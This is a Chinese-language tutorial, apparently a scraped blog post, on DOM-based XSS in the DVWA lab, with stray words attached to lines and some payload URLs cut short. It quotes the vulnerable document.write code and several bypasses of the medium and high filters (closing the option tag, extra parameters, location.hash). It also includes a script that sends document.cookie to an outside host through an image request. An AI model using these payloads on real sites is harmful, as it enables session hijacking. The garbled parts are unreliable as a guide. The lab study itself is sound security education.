反射型攻擊那篇說起到,如何是「數據是否保存在服務器端」來區分,DOM 型 XSS 攻擊應該算是 反射型XSS 攻擊。php
DOM 型攻擊的特殊之處在於它是利用 JS 的 document.write
、document.innerHTML
等函數進行 「HTML注入」html
下面一塊兒來探討一下吧。前端
這是一個普通的選擇器。
後端
選擇了 English 以後是這個樣式的
瀏覽器
但打開調試器,看到的這段 JS 代碼就很成問題了
服務器
if (document.location.href.indexOf("default=") >= 0) { //url 是否有 default= var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //截取 url 字符串 document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>");
而這裏的問題固然是處於截取字符串那裏了。
假如 Hacker 在瀏覽器中輸入 http://192.168.0.110:5678/vulnerabilities/xss_d/?default= 呢?cookie
html 就變成app
<option value="%3Cscript%3Ealert(1)%3C/script%3E"><script>alert(1)</script></option>
若是 Hacker 輸入的是 http://192.168.0.110:5678/vulnerabilities/xss_d/?default=dom
由於 test.js 的內容是xss
var img = document.createElement("img") img.src = "http://www.a.com/?cookies="+escape(document.cookie); document.body.appendChild(img);
看過上一篇反射型攻擊的朋友應該能明白
中級會過濾掉 <script,因此沒法用 script 進行注入,但仍然有多種的方式能夠注入 <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
或者你會想到使用 img 進行注入,但這不會成功的,由於 option 中的元素不能有圖片之類的,只能是文字。
但能夠選擇先閉合 option 再注入
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English
這種方式的話,就比較容易被容易察覺到
由於在網頁端是截取 url ,而服務器讀的是也只是 default 這個變量,若是url 中的參數不是 default 呢?
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English&&script=<script>alert(1)</script>
仍是會有注入的方式的,好比利用 location.hash 。由於 location.hash 不會傳到服務器,因此盡情注入吧。
http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
高級會檢查 default 的變量,並且 default 也只能是規定的值。
但用其餘變量,和使用 location.hash 仍是沒防護到
不可能級別,後端是這樣的。。。由於根本不用後端作保護,主要是在前端作了保護。
<?php # Don't need to do anything, protction handled on the client side ?>
前端的代碼最主要是這樣。
if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //記住這個神奇的括號 document.write("<option value='" + lang + "'>" + (lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); }
用一個神奇的括號,惡意的 「HTML 注入代碼」都變回普通的字符串。就能很好地防護 dom 型 xss 攻擊了